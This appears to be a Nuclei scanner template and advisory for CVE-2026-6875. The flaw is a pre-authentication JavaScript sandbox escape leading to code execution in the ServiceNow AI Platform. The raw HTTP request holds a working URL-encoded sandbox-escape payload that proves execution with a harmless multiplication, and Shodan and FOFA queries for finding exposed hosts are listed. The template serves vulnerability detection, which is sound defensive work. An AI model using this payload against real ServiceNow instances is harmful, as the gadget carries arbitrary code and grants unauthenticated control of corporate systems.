ServiceNow AI Platform (Brazil, Australia, Zurich, and Yokohama releases before patching) contains a pre-authentication remote code execution vulnerability. The /assessment_thanks.do endpoint passes the sysparm_assessable_type parameter into GlideRecord's addQuery(), which evaluates "javascript:" prefixed values as JavaScript in a restricted script sandbox. A sandbox escape gadget using Object.defineProperty and Class.create.constructor chains through the gs.include('ItemViewElementsProvider') path to invoke Function(code)(), bypassing the sandbox and executing arbitrary GlideController code. Actively exploited in the wild since July 2026.
PoC
id: CVE-2026-6875
info:
name: ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE
author: pdteam,DhiyaneshDk
severity: critical
description: |
ServiceNow AI Platform (Brazil, Australia, Zurich, and Yokohama releases before patching) contains a pre-authentication remote code execution vulnerability. The /assessment_thanks.do endpoint passes the sysparm_assessable_type parameter into GlideRecord's addQuery(), which evaluates "javascript:" prefixed values as JavaScript in a restricted script sandbox. A sandbox escape gadget using Object.defineProperty and Class.create.constructor chains through the gs.include('ItemViewElementsProvider') path to invoke Function(code)(), bypassing the sandbox and executing arbitrary GlideController code. Actively exploited in the wild since July 2026.
impact: |
Unauthenticated attackers can execute arbitrary code within the ServiceNow platform, access all database tables, create administrator accounts, and execute shell commands on connected MID proxy servers that sit within corporate internal networks.
remediation: Apply the latest security updates or upgrade to the patched release provided by ServiceNow.
reference:
- https://slcyber.io/research-center/smashing-the-servicenow-sandbox-pre-authentication-rce/
- https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB3137947
- https://nvd.nist.gov/vuln/detail/CVE-2026-6875
- https://www.bleepingcomputer.com/news/security/critical-servicenow-code-execution-flaw-now-exploited-in-attacks/
- https://github.com/tc4dy/CVE-2026-6875-PoC-Exploit
classification:
cve-id: CVE-2026-6875
cwe-id: CWE-94
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.5
epss-score: 0.77584
epss-percentile: 0.99536
metadata:
verified: true
max-request: 2
vendor: servicenow
product: servicenow
shodan-query:
- http.favicon.hash:"1701804003"
- http.title:"servicenow"
fofa-query:
- icon_hash=1701804003
- title="servicenow"
google-query: intitle:"servicenow"
tags: cve,cve2026,servicenow,rce,sandbox-escape,js-injection,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/login.do"
host-redirects: true
max-redirects: 3
matchers:
- type: word
part: body
words:
- "servicenow"
- "glide"
- "sysparm"
condition: or
case-insensitive: true
internal: true
- raw:
- |
GET /assessment_thanks.do?sysparm_assessable_type=javascript%3AObject.defineProperty(Object%2C%27clone%27%2C%7Bvalue%3AClass.create.constructor%7D)%3BObject.defineProperty(AbstractAjaxProcessor%2C%27prototype%27%2C%7Bvalue%3A%22GlideController().evaluateAsObject(%27gs.addInfoMessage(999*999)%27)%22%7D)%3Bgs.include(%27ItemViewElementsProvider%27)%3BItemViewElementsProvider.prototype() HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "998001"
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100d19bb9b14a5d65d5f63c3098d4da863a79eabfc00ca0bdd5a11d44c25215b63a022100feeeaad7ef3c5b0a20a54b055a9862cb1ae23f4d99f4ba5d38df5182fb290a10:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.